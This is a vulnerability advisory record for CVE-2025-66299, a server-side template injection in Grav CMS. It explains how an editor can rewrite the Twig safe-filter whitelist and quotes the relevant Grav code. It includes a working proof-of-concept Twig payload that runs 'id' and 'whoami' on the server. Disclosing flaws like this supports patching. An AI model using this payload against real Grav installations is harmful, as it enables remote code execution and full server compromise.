{"id":"CVE-2025-66299","aliases":["GHSA-gjc5-8cfh-653x"],"url":"https://o3.security/vulnerability/CVE-2025-66299","summary":"Security Sandbox Bypass with SSTI (Server Side Template Injection) in the Grav CMS","details":"## Summary\n\nGrav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.\n\n## Details\n\nGrav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives.\n\nThe current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`:\n\n```php\n$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {\n    $allowed = $config->get('system.twig.safe_filters');\n    if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {\n        return new TwigFilter($name, $name);\n    }\n    if ($config->get('system.twig.undefined_filters')) {\n        if (function_exists($name)) {\n            if (!Utils::isDangerousFunction($name)) {\n                user_error(\"PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`\", E_USER_DEPRECATED);\n\n                return new TwigFilter($name, $name);\n            }\n\n            /** @var Debugger $debugger */\n            $debugger = $this->grav['debugger'];\n            $debugger->addException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`\"));\n        }\n\n        return new TwigFilter($name, static function () {});\n    }\n\n    return false;\n});\n```\n\nIn this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file.\n\nNotably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there:\n\n```php\n/**\n * Class Twig\n * @package Grav\\Common\\Twig\n */\nclass Twig\n{\n    /** @var Environment */\n    public $twig;\n    /** @var array */\n    public $twig_vars = [];\n    /** @var array */\n    public $twig_paths;\n    /** @var string */\n    public $template;\n\n    // Constructor\n    public function __construct(Grav $grav)\n    {\n        $this->grav = $grav;\n        $this->twig_paths = [];\n    }\n\n    // Twig initialization method\n    public function init()\n    {\n        if (null === $this->twig) {\n            /** @var Config $config */\n            $config = $this->grav['config'];\n            /** @var UniformResourceLocator $locator */\n            $locator = $this->grav['locator'];\n            /** @var Language $language */\n            $language = $this->grav['language'];\n\n            $active_language = $language->getActive();\n        ...\n        }\n    }\n}\n```\n\nSince the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox.\n\n## Proof of Concept (PoC)\nAn authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.\n\nFor example, to exploit the vulnerability and execute the prohibited `system('id')` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:\n\n```twig\n{% set arr = {'1':'system', '2':'exec'} %}\n{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}\n{{ 'id'|system }}\n{{ 'whoami'|exec }}\n```\n\nOnce the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system('id')` command on the server hosting the vulnerable Grav CMS.\n\n## Impact\nThe vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.","published":"2025-12-01T21:15:11.704Z","modified":"2026-08-12T03:51:16.155414062Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"getgrav/grav","fixedVersion":"1.8.0-beta.27"}],"fix":{"url":"https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458","label":"getgrav/grav@e372595"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66299.json"},{"type":"ADVISORY","url":"https://github.com/getgrav/grav/security/advisories/GHSA-gjc5-8cfh-653x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66299"},{"type":"FIX","url":"https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.155414062Z"}}